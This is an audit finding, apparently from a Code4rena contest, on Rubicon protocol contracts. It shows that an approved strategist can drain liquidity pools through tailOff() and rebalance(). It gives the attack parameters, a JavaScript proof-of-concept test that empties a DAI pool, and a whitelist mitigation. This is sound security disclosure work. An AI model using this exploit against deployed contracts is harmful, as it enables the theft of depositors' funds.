Strategists can drain all tokens in liquidity pools

[code423n4]

Lines of code

https://github.com/RubiconDeFi/rubicon-protocol-v1/blob/master/contracts/rubiconPools/BathPair.sol#L535-L552 https://github.com/RubiconDeFi/rubicon-protocol-v1/blob/master/contracts/rubiconPools/BathToken.sol#L346-L357

Vulnerability details

Impact

By calling the tailOff() function in BathPair.sol, any approved strategist has the ability to completely drain tokens from any liquidity pool.

Even if this is the intended functionality, this potential risk should be made known to users.

Proof of Concept

In BathPair.sol, tailOff() forwards calls to rebalance() in BathToken.sol as follows:

function tailOff(
    address targetPool,
    address tokenToHandle,
    address targetToken,
    address _stratUtil, // delegatecall target
    uint256 amount, //fill amount to handle
    uint256 hurdle, //must clear this on tail off
    uint24 _poolFee
) external onlyApprovedStrategist(msg.sender) {
    // transfer here
    uint16 stratRewardBPS = IBathHouse(bathHouse).getBPSToStrats();

    IBathToken(targetPool).rebalance(
        _stratUtil,
        tokenToHandle,
        stratRewardBPS,
        amount
    );

Other than stratProportion, a strategist has the ability to control all parameters of rebalance(), which allows them to transfer tokens out of a liquidity pool, as seen in BathToken.sol:353-356:

IERC20(filledAssetToRebalance).transfer(
    destination,
    rebalAmt.sub(stratReward)
);

An approved strategist could call tailOff() with the following parameters:

• targetPool - The target liquidity pool to drain
• tokenToHandle - The underlying token of the liquidity pool
• targetToken - Any random address
• _stratUtil - Address of the attacker contract. It must implement a UNIdump() function.
• amount - The amount of underlying token to drain
• hurdle and _poolFee - Any valid uint

it("Strategist can drain any liquidity pool", async () => {
    // Approve strategist
    let strategist = accounts[1];
    await bathHouseInstance.approveStrategist(strategist);

    // Check balance left in bathDAI contract
    let balanceDAI = await DAIInstance.balanceOf(bathDAI.address);
    assert.equal(balanceDAI > 0, true);

    // Drain DAI from bathDAI contract using tailOff()
    // attackerContract contains with an empty UNIdump() function, compliant with IStrategistUtility 
    await bathPairInstance.tailOff(
        bathDAI.address,
        DAIInstance.address, 
        randomAddress,
        attackerContract.address,
        balanceDAI,
        0,
        0,
        {from: strategist}
    );

    // Check if all DAI drained from contract
    let final_balanceDAI = await DAIInstance.balanceOf(bathDAI.address);
    assert.equal(final_balanceDAI, 0);
});

Recommended Mitigation Steps

Maintain a whitelist of external pools tailOff() can be used to send tokens to, and revert all other non-listed addresses.

[bghughes]

Duplicate of #211